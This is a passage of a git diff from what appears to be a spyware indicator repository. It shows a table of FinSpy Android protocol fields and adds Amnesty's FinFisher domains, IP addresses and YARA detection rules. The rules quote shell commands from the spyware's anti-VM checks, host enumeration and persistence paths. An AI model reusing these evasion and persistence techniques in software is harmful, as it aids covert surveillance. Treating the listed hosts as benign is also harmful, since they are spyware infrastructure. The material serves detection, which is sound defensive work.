L/org/xmlpush/v3/h/c" +4236,recorded target,8676976,✔,TlvTypeMobileTrojanID,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4236,recorded target,8677296,✔,TlvTypeMobileTargetLocationChangedRange,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4237,config,8677440,✔,TlvTypeConfigMobileAutoRemovalDateTime,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4237,config,8677808,✔,TlvTypeConfigOverwriteProxyAndPhones, +4237,config,8678000,✔,TlvTypeConfigCallPhoneNumber,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4238,ex recorded target,8679488,✔,TlvTypeLocationAreaCode,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +4238,ex recorded target,8679744,✔,TlvTypeCellID,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +4238,ex recorded target,8680048,✔,TlvTypeMobileCountryCode,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +4238,data,8680304,✔,TlvTypeMobileNetworkCode,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +4238,data,8680560,✔,TlvTypeIMSI, +4238,proxy,8680816,✔,TlvTypeIMEI, +4238,proxy,8681072,✔,TlvTypeGPSLatitude, +4238,proxy,8681328,✔,TlvTypeGPSLongitude, +4239,proxy,8681520,✔,TlvTypeFirstHeartbeat, +4239,master,8681872,✔,TlvTypeInstalledModules,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4240,gps valid values,8683568,✔,TlvTypeValidGPSValues, +4288,mobile proxy comm target,8782176,✔,TlvTypeProxyMobileTargetCommSig, +4288,mobile proxy comm target,8782496,✔,TlvTypeProxyMobileTargetComm, +4288,mobile proxy comm target,8782752,✔,TlvTypeProxyMasterMobileTargetComm, +4384,master mobile,8978752,✔,TlvTypeMobileProxyMasterCommSig, +4384,master mobile,8978848,✔,TlvTypeMasterMobileTargetConn, +4384,master mobile,8979104,✔,TlvTypeMobileProxyMasterComm, +4384,master mobile,8979360,✔,TlvTypeMobileMasterProxyComm, +4384,master mobile,8979616,✔,TlvTypeProxyMasterMobileHeartBeatAnswer,"Lorg/xmlpush/v3/o/l$2, L/org/xmlpush/v3/o/h" +4384,master mobile,8979872,✔,TlvTypeMobileMasterProxyCommNotification, +8128,agent,16646544,✔,TlvTypePlaintext, +8128,agent uid,16646800,✔,TlvTypeCompression, +8128,mobile,16647056,✔,TlvTypeEncryption,"Lorg/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8128,mobile,16647232,✔,TlvTypeTargetUID, +8128,mobile,16647536,✔,TlvTypeIPAddress,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/n" +8128,mobile,16647808,✔,TlvTypeUserName, +8128,installed reply modules mobile,16648064,✔,TlvTypeComputerName, +8129,installed reply modules mobile,16648304,✔,TlvTypeLoginName, +8129,module upload mobile target,16648560,✔,TlvTypePassphrase, +8129,module upload mobile target,16648832,✔,TlvTypeRecordID, +8129,module upload mobile target,16649088,✔,TlvTypeOwner, +8129,module upload mobile target,16649344,✔,TlvTypeMetaData, +8129,module upload mobile target,16649536,✔,TlvTypeModuleID,"Lorg/xmlpush/v3/o/d, L/org/xmlpush/v3/o/h, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8129,mobile target,16649856,✔,TlvTypeOSName, +8129,mobile target,16650048,✔,TlvTypeModuleSubID,"Lorg/xmlpush/v3/o/d, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8130,mobile target,16650320,✔,TlvTypeErrorCode, +8130,mobile target,16650560,✔,TlvTypeOffset, +8130,mobile target,16650816,✔,TlvTypeLength, +8130,mobile target,16651088,✔,TlvTypeRequestID,"Lorg/xmlpush/v3/w, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/j, Lorg/xmlpush/v3/o/j, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/n, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/q/c, Lorg/xmlpush/v3/f/b, L/org/xmlpush/v3/o/h, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8130,mobile target,16651328,✔,TlvTypeRequestType, +8130,mobile target,16651584,✔,TlvTypeVersion,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8130,mobile target,16651840,✔,TlvTypeMachineID, +8130,mobile target,16652096,✔,TlvTypeMajorNumber, +8131,mobile target,16652352,✔,TlvTypeMinorNumber, +8131,mobile target,16652656,✔,TlvTypeGlobalIPAddress, +8131,mobile target,16652912,✔,TlvTypeASCII_Filename, +8131,mobile target,16653120,✔,TlvTypeFilesize, +8131,mobile target,16653392,✔,TlvTypeFilecount, +8131,mobile target,16653712,✔,TlvTypeFiledata, +8131,target reply recorded delete file mobile,16653968,✔,TlvTypeMD5Sum, +8131,mobile target config,16654144,✔,TlvTypeProxyPort, +8132,mobile target config,16654400,✔,TlvTypeStatus, +8132,mobile target config,16654656,✔,TlvTypeUserID,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +8132,module load mobile target,16654912,✔,TlvTypeGroupID, +8132,module load mobile target,16655168,✔,TlvTypePermissions, +8132,module load mobile target,16655424,✔,TlvTypeRequestCode, +8132,module load mobile target,16655680,✔,TlvTypeDataSize, +8132,,16655936,✔,TlvTypeKeyType, +8132,,16656240,✔,TlvTypeEmail, +8133,,16656432,✔,TlvTypeEnabled, +8133,,16656688,✔,TlvTypeLicensed, +8133,,16656960,✔,TlvTypeAudioFrequency,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n" +8133,,16657216,✔,TlvTypeAudioBitsPerSample,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n" +8133,,16657472,✔,TlvTypeAudioChannels,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n" +8133,,16657728,✔,TlvTypeStartTime, +8133,config,16657984,✔,TlvTypeStopTime, +8133,config,16658240,✔,TlvTypeBitMask, +8134,config,16658560,✔,TlvTypeTimeZone,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/t/d, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/n, Lorg/xmlpush/v3/a/a, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +8134,,16658816,✔,TlvTypeDateTime,"Lorg/xmlpush/v3/t/d, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b" +8134,,16659072,✔,TlvTypeStartSessionDateTime,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/n, Lorg/xmlpush/v3/a/a, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +8134,,16659328,✔,TlvTypeStopSessionDateTime,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/n" +8134,,16659520,✔,TlvTypeDateTimeRef,"L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8134,,16659776,✔,TlvTypeScheduleRepeat,"L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8134,,16660032,✔,TlvTypeUnixMasterDateTime, +8134,,16660288,✔,TlvTypeUnixUTCDateTime, +8135,,16660544,✔,TlvTypeDurationInSeconds,Lorg/xmlpush/v3/f/b +8135,,16660864,✔,TlvTypeMasterRefTime, +8135,,16661120,✔,TlvTypeMasterRefTimeStart, +8135,values gps valid,16661376,✔,TlvTypeMasterRefTimeEnd, +8135,,16661568,✔,TlvTypeCounter,"Lorg/xmlpush/v3/q/c, Lorg/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8135,,16661888,✔,TlvTypeWhiteListEntry,type: byte array +8135,,16662144,✔,TlvTypeBlackListEntry,type: array +8135,,16662336,✔,TlvTypeBlackWhiteListingMode, +8136,config,16662576,✔,TlvTypeConfigEnabled, +8136,config,16662848,✔,TlvTypeConfigMaxRecordingSize, +8136,config,16663104,✔,TlvTypeConfigAudioQuality,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n, L/org/xmlpush/v3/h/c" +8136,config,16663344,✔,TlvTypeConfigVideoBlackAndWhite,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, L/org/xmlpush/v3/h/c" +8136,config,16663616,✔,TlvTypeConfigVideoResolution,L/org/xmlpush/v3/h/c +8136,config,16663872,✔,TlvTypeConfigCaptureFrequency,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, L/org/xmlpush/v3/h/c" +8136,config,16664128,✔,TlvTypeConfigVideoQuality,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b, L/org/xmlpush/v3/h/c" +8136,config,16664384,✔,TlvTypeConfigFilesStandardFilter, +8137,config,16664704,✔,TlvTypeConfigFilesCustomFilter, +8137,config,16664896,✔,TlvTypeConfigStandardLocation, +8137,config,16665216,✔,TlvTypeConfigCustomLocation, +8137,config,16665408,✔,TlvTypeConfigFileChunkSize, +8137,config,16665664,✔,TlvTypeConfigFileTransferSpeed, +8137,config,16665904,✔,TlvTypeConfigUploadFileOverwrite, +8137,config,16666160,✔,TlvTypeConfigDeleteOverReboot, +8137,config,16666496,✔,TlvTypeConfigCustomLocationException, +8138,master mobile,16666752,✔,TlvTypeExtraData, +8138,master mobile,16667008,✔,TlvTypeSignature, +8138,,16667264,✔,TlvTypeComments, +8138,,16667520,✔,TlvTypeDescription, +8138,,16667776,✔,TlvTypeFilenameExtension,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/f/b" +8138,,16668032,✔,TlvTypeSessionType, +8138,,16668224,✔,TlvTypePeriod, +8138,,16668512,✔,TlvTypeMobileTargetUID,"Lorg/xmlpush/v3/w, Lorg/xmlpush/v3/o/g, Lorg/xmlpush/v3/o/c, Lorg/xmlpush/v3/a/a, Lorg/xmlpush/v3/q/c, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/h/c, Lorg/xmlpush/v3/h/c, L/org/xmlpush/v3/o/h, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +8139,,16668784,✔,TlvTypeMobileTargetID,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +8139,,16669072,✔,TlvTypeMobilePlaintext, +8139,,16669328,✔,TlvTypeMobileCompression,Lorg/xmlpush/v3/k +8139,,16669584,✔,TlvTypeMobileEncryption,"Lorg/xmlpush/v3/o/m, Lorg/xmlpush/v3/h/c" +8139,,16669824,✔,TlvTypeEncodingType, +8139,,16670576,✔,TlvTypePhoneNumber,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/t/d, Lorg/xmlpush/v3/a/a, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/i/a" +8140,custom config location mode,16670784,✔,TlvTypeConfigCustomLocationMode, +8140,custom config location mode,16672080,×,unknown,Lorg/xmlpush/v3/n/k +8140,custom config location mode,16671792,×,unknown,Lorg/xmlpush/v3/n/m +8142,network interface,16674928,✔,TlvTypeNetworkInterface, +8142,network interface,16675136,✔,TlvTypeNetworkInterfaceMode, +8142,network interface,16675440,✔,TlvTypeNetworkInterfaceAddress, +8142,network interface,16675696,✔,TlvTypeNetworkInterfaceNetmask, +8142,network interface,16675952,✔,TlvTypeNetworkInterfaceGateway, +8142,network interface,16676208,✔,TlvTypeNetworkInterfaceDNS_1, +8142,network interface,16676464,✔,TlvTypeNetworkInterfaceDNS_2, +8143,,16677440,✔,TlvTypeLoginTime, +8143,,16677696,✔,TlvTypeLogoffTime, +8143,,16678720,✔,TlvTypeGeneric_Type, +8144,,16678976,✔,TlvTypeChecksum, +8144,,16679280,✔,TlvTypeCity, +8144,,16679536,✔,TlvTypeCountry, +8144,,16679792,✔,TlvTypeCountryCode, +8146,,16683072,✔,TlvTypeTargetType, +8146,,16683392,✔,TlvTypeDurationString,Lorg/xmlpush/v3/o/a +8146,,16683904,×,unknown,Lorg/xmlpush/v3/n/m +8146,,16684848,×,unknown,"Lorg/xmlpush/v3/o/k, L/org/xmlpush/v3/h/c" +8160,,16712000,✔,TlvTypeTargetConnectionBroken, +8160,,16712256,✔,TlvTypeAgentConnectionBroken, +8160,,16712512,✔,TlvTypeTargetOffline, +8176,,16744768,✔,TlvTypeProxyConnectionBroken, +4242,,8688960,×,unknown,Lorg/xmlpush/v3/w +4242,,8689296,×,unknown,Lorg/xmlpush/v3/w +4242,,8689568,×,unknown,Lorg/xmlpush/v3/w +2752,,5636992,×,unknown,Lorg/xmlpush/v3/n/k +2752,,5637504,×,unknown,Lorg/xmlpush/v3/n/k +2752,,5637760,×,unknown,Lorg/xmlpush/v3/n/k +2752,,5636464,×,unknown,Lorg/xmlpush/v3/n/m +2752,,5636736,×,unknown,Lorg/xmlpush/v3/n/m +2752,,5637248,×,unknown,Lorg/xmlpush/v3/n/m +2753,,5638256,×,unknown,Lorg/xmlpush/v3/n/m +2753,,5638768,×,unknown,Lorg/xmlpush/v3/n/m +2754,,5641600,×,unknown,Lorg/xmlpush/v3/n/m +2754,,5640608,×,unknown,Lorg/xmlpush/v3/n/m +2754,,5641120,×,unknown,Lorg/xmlpush/v3/n/m +2754,,5640864,×,unknown,Lorg/xmlpush/v3/n/m +2754,,5640352,×,unknown,Lorg/xmlpush/v3/n/m +2218,,4542832,×,unknown,Lorg/xmlpush/v3/t/d +2218,,4542624,×,unknown,Lorg/xmlpush/v3/t/d +8147,,16685104,×,unknown,"Lorg/xmlpush/v3/o/k, L/org/xmlpush/v3/h/c" +8147,,16685392,×,unknown,"Lorg/xmlpush/v3/o/k, L/org/xmlpush/v3/h/c" +2658,,5444000,×,unknown,Lorg/xmlpush/v3/o/k +2658,,5444512,×,unknown,Lorg/xmlpush/v3/o/k +2656,,5440320,×,unknown,Lorg/xmlpush/v3/o/k +2656,,5439904,×,unknown,Lorg/xmlpush/v3/o/k +2660,,5447840,×,unknown,Lorg/xmlpush/v3/o/k +2722,,5575072,×,unknown,Lorg/xmlpush/v3/o/a +2722,,5575328,×,unknown,Lorg/xmlpush/v3/o/a +2722,config,5575840,×,unknown,Lorg/xmlpush/v3/o/a +2560,config,5243552,×,unknown,Lorg/xmlpush/v3/o/i +2560,config,5243296,×,unknown,Lorg/xmlpush/v3/o/i +4244,config,8693104,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8692080,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8692336,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8692592,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8692848,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8693360,×,unknown,Lorg/xmlpush/v3/o/g +4244,config,8691872,×,unknown,Lorg/xmlpush/v3/o/g +2690,config,5509536,×,unknown,Lorg/xmlpush/v3/o/b +2690,config,5510048,×,unknown,Lorg/xmlpush/v3/o/b +2692,config,5513376,×,unknown,Lorg/xmlpush/v3/o/b +2688,config,5505856,×,unknown,Lorg/xmlpush/v3/o/b +2688,config,5505440,×,unknown,Lorg/xmlpush/v3/o/b +2592,config,5309088,×,unknown,Lorg/xmlpush/v3/o/e +2602,,5329824,×,unknown,Lorg/xmlpush/v3/o/e +2602,,5330592,×,unknown,Lorg/xmlpush/v3/o/e +2602,,5329568,×,unknown,Lorg/xmlpush/v3/o/e +2602,,5330080,×,unknown,Lorg/xmlpush/v3/o/e +2596,,5317536,×,unknown,Lorg/xmlpush/v3/o/e +2596,,5317792,×,unknown,Lorg/xmlpush/v3/o/e +2596,,5318048,×,unknown,Lorg/xmlpush/v3/o/e +2596,,5317280,×,unknown,Lorg/xmlpush/v3/o/e +2594,,5313440,×,unknown,Lorg/xmlpush/v3/o/e +2594,,5312928,×,unknown,Lorg/xmlpush/v3/o/e +2594,,5313184,×,unknown,Lorg/xmlpush/v3/o/e +2600,,5325216,×,unknown,Lorg/xmlpush/v3/o/e +2598,,5321376,×,unknown,Lorg/xmlpush/v3/o/e +2598,,5322144,×,unknown,Lorg/xmlpush/v3/o/e +2784,mode location custom config,5703584,×,unknown,Lorg/xmlpush/v3/o/n +2784,mode location custom config,5703328,×,unknown,Lorg/xmlpush/v3/o/n +2784,mode location custom config,5702816,×,unknown,Lorg/xmlpush/v3/o/n +2784,interface network,5702032,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2784,interface network,5702304,×,unknown,Lorg/xmlpush/v3/h/c +2785,interface network,5703808,×,unknown,Lorg/xmlpush/v3/o/n +2785,interface network,5704064,×,unknown,Lorg/xmlpush/v3/o/n +1757,interface network,3600000,×,unknown,Lorg/xmlpush/v3/b/f +2696,interface network,5521552,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2696,interface network,5521568,×,unknown,Lorg/xmlpush/v3/h/c +2720,,5570960,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2720,,5571232,×,unknown,Lorg/xmlpush/v3/h/c +2756,,5644432,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2756,,5644704,×,unknown,Lorg/xmlpush/v3/h/c +2848,,5833104,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2848,,5833376,×,unknown,Lorg/xmlpush/v3/h/c +3104,,6357392,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +3104,,6357664,×,unknown,Lorg/xmlpush/v3/h/c +2664,,5456016,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2664,,5456288,×,unknown,Lorg/xmlpush/v3/h/c +4243,,8690064,×,unknown,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4243,,8690336,×,unknown,Lorg/xmlpush/v3/h/c +4243,,8689712,×,unknown,"Lorg/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +2304,,4719008,×,unknown,Lorg/xmlpush/v3/d/a +2304,,4719232,×,unknown,Lorg/xmlpush/v3/d/a +3106,,6361200,×,unknown,Lorg/xmlpush/v3/k/c +16425,,33639248,×,unknown,Lorg/xmlpush/v3/h/a +48781,,99903492,×,unknown,"Lorg/b/b/e$gs, L/org/b/b/e$r" +41609,,85215461,×,unknown,"Lorg/b/b/e$df, L/org/b/b/e$j" +4494,,9203775,×,unknown,"Lorg/b/b/e$ol, L/org/b/b/e$pi" +25586,,52401552,×,unknown,"Lorg/b/b/e$js, L/org/b/b/e$x" +21214,,43446532,×,unknown,"Lorg/b/b/e$ec, L/org/b/b/e$m" +27793,,56920439,×,unknown,"Lorg/b/b/e$az, L/org/b/b/e$d" +26992,,55281185,×,unknown,"Lorg/b/b/e$nj, L/org/b/b/e$ag" +44308,,90744648,×,unknown,"Lorg/b/b/e$ew, L/org/b/b/e$ev" diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/domains.txt b/data/ioc/spyware/amnesty/2020-09-25_finfisher/domains.txt new file mode 100644 index 0000000..b0d18ae --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/domains.txt @@ -0,0 +1,4 @@ +flash.browserupdate.download +current.browserupdate.download +files.browserupdate.download +browserupdate.download diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/ips.txt b/data/ioc/spyware/amnesty/2020-09-25_finfisher/ips.txt new file mode 100644 index 0000000..29b18cf --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/ips.txt @@ -0,0 +1,6 @@ +172.241.27.171 +5.135.174.213 +158.69.105.207 +207.244.95.223 +45.11.19.235 +185.125.230.203 diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/rules.yar b/data/ioc/spyware/amnesty/2020-09-25_finfisher/rules.yar new file mode 100644 index 0000000..c58beb7 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/rules.yar @@ -0,0 +1,174 @@ +rule finspy_linux_installer1 { + meta: + description = "Rule for FinSpy Linux installer x86 or x64" + author = "Etienne Maynier, Amnesty Tech" + sample = "8aaf886a2a2cd459e65277343bc951a2d23555980eddd73218a5c608e6d2a29c" + strings: + $a = "%s/.kde/Autostart" ascii wide nocase + $b = "%s/.kde4/Autostart" ascii wide nocase + $c = "dmesg --notime 2>/dev/null | grep -i \"hypervisor detected\" | cut -d ':' -f2" ascii wide nocase + $d = "g_plauncher" ascii wide nocase + $e = "g_pinstall_host_location" ascii wide nocase + $f = "g_pinstall_folder" ascii wide nocase + $g = "%s/.bash_profile" ascii wide nocase + $h = "lspci 2>/dev/null | grep -i \"system peripheral\" | grep -i \"virtual\"" ascii wide nocase + $i = "lspci | grep -i \"system peripheral\" | grep -i \"virtual\"" ascii nocase + + condition: + 7 of them +} + +rule finppy_linux_coremodule { + meta: + description = "Rule for FinSpy Linux core module x86 or x64" + author = "Etienne Maynier, Amnesty Tech" + strings: + $s1 = "ps auxww | grep -iEe 'bt-scan' | grep -v -e grep" ascii + $s2 = "ls /sys/class/net/ 2>/dev/null | awk '{printf (\"%s\n\", $1)}' 2>/dev/null" ascii + $s3 = "cat /sys/class/net/eth?/address 2>/dev/null" ascii + $s4 = "dmesg --notime 2>/dev/null | grep -i \"cpu\" | grep -i \"virtual\"" ascii + $s5 = "/etc/hostname-merlin" ascii + $s6 = "@%02X%X%c%08X.dat" ascii + $s7 = "%s/.bash_profile1" ascii + $s8 = "%s/.kde4/share/config" ascii + $s9 = "ls /dev/disk/by-id/ 2>/dev/null" ascii + $s10 = "/index.php HTTP/1.1" ascii + + condition: + uint16(0) == 0x457F and 8 of them +} + +rule finspy_linux_installer2 { + meta: + description = "Rule for FinSpy Linux installer" + author = "Etienne Maynier, Amnesty Tech" + + strings: + $encrypted_conf = { 5? a5 aa ca a6 54 5a ?? a? 5a a5 0a } /* header of configuration files */ + $encrypted_bin_32 = { 7f 0d 45 4c 46 01 02 c2 14 68 03 05 0e } /* header of encrypted bin */ + $encrypted_bin_64 = { 7f 07 45 4c 46 02 01 1e 15 01 8e 03 0e } /* header of encrypted bin */ + + condition: + (uint16(0) == 0x457F or uint16(0) == 0x2123) and (#encrypted_conf > 5 or #encrypted_bin_32 > 5 or #encrypted_bin_64 > 5) +} + +rule finspy_macos_installer { + meta: + description = "Rule for FinSpy OSX installer" + author = "Etienne Maynier, Amnesty Tech" + + strings: + $s1 = "80.bundle.zip" ascii + $s2 = "AAC.dat" ascii + $s3 = "arch.zip" ascii + $s4 = "/Library/LaunchAgents" ascii + $s5 = "7FC.dat" ascii + $s6 = "logind.plist" ascii + $s7 = "org.logind.ctp.archive" ascii + $s8 = "helper" ascii + $s9 = "Contents/Resources/7f.bundle/Contents/Resources" ascii + + condition: + uint16(0) == 0xFACF and 8 of them +} + +rule finspy_macos_datapkg { + meta: + description = "Rule for FinSpy OSX core module" + author = "Etienne Maynier, Amnesty Tech" + + strings: + $s1 = "vlacwjwcefforoxisdryuvbqlxvxt" ascii + $s2 = "vquyqefxqpwytfuherfvzwaqqyanaddmvquyqefxqpwytfu" ascii + $s3 = "vsczabsutfuhajffslhlkulomhivwligvscza:" ascii + $s4 = "ijfrkptshbsurggfqxshpiolwupesxewijfrkptxnj" ascii + $s5 = "wwsodegezqrtafprejkrytzablizbddgwwsodegezqrtafprejxnj" ascii + $s6 = "clfggqtyflyspjewoxpodxesnpavcpofclfggqtyflyspjewoxpodxesnpavcpofclfggqtyflyspjewoxpodx" ascii + $s7 = "mhqxzxdbxsfblsxmidzcribjewzkezujmhqxzxdbxsfblsxmidzcribjewzkezujmh" ascii + $s8 = "sqpviurrqssxwzrzdwldcanprnsuadyhsqpvixnj" ascii + $s9 = "zfocytolmylaejykmwphsbchfkfzyadbzfocytolmylaejykmwphsbchfkfzyadbz" ascii + $s10 = "fehbsdjwmqrdndkskegllpixxabegjrdfehbsdjwmqrdndkske" ascii + $s11 = "exmycityouezjfdczebdfhqdgt:" ascii + $s12 = "denueozlbzhqzzdjhxjnjhoadjdsmashdenueozlbzhqzzd" ascii + + + condition: + uint16(0) == 0xFACF and 8 of them +} + +rule finspy_android_configinapk : android apkhideconfig finspy { + meta: + description = "Detect FinFisher FinSpy configuration in APK file. Probably the original FinSpy version." + date = "2020/08/05" + reference = "https://github.com/devio/FinSpy-Tools" + author = "Esther Onfroy a.k.a U+039b - *@0x39b.fr (https://twitter.com/u039b)" + warning = "May have some False Positive" + + strings: + $re = /\x50\x4B\x01\x02[\x00-\xff]{32}[A-Za-z0-9+\/]{6}/ + + condition: + uint32(0) == 0x04034b50 and $re and (#re > 50) +} + +rule finspy_android_dexden : android dexhideconfig finspy +{ + meta: + description = "Detect FinFisher FinSpy configuration in DEX file. Probably a newer FinSpy variant." + date = "2020/08/05" + author = "Esther Onfroy a.k.a U+039b - *@0x39b.fr (https://twitter.com/u039b)" + + strings: + $config_1 = { 90 5b fe 00 } + $config_2 = { 70 37 80 00 } + $config_3 = { 40 38 80 00 } + $config_4 = { a0 33 84 } + $config_5 = { 90 79 84 00 } + + condition: + uint16(0) == 0x6564 and + #config_1 >= 2 and + #config_2 >= 2 and + #config_3 >= 2 and + #config_4 >= 2 and + #config_5 >= 2 +} + +rule FinSpy_TippyTime: finspyTT { + meta: + description = "Detect FinFisher FinSpy 'TippyTime' variant." + date = "2020/08/05" + author = "Esther Onfroy a.k.a U+039b - *@0x39b.fr (https://twitter.com/u039b)" + strings: + $config_1 = { 90 5b fe 00 } + $config_2 = { 70 37 80 00 } + $config_3 = { 40 38 80 00 } + $config_4 = { a0 33 84 } + $config_5 = { 90 79 84 00 } + $timestamp = { 95 E9 D1 5B } + + condition: + 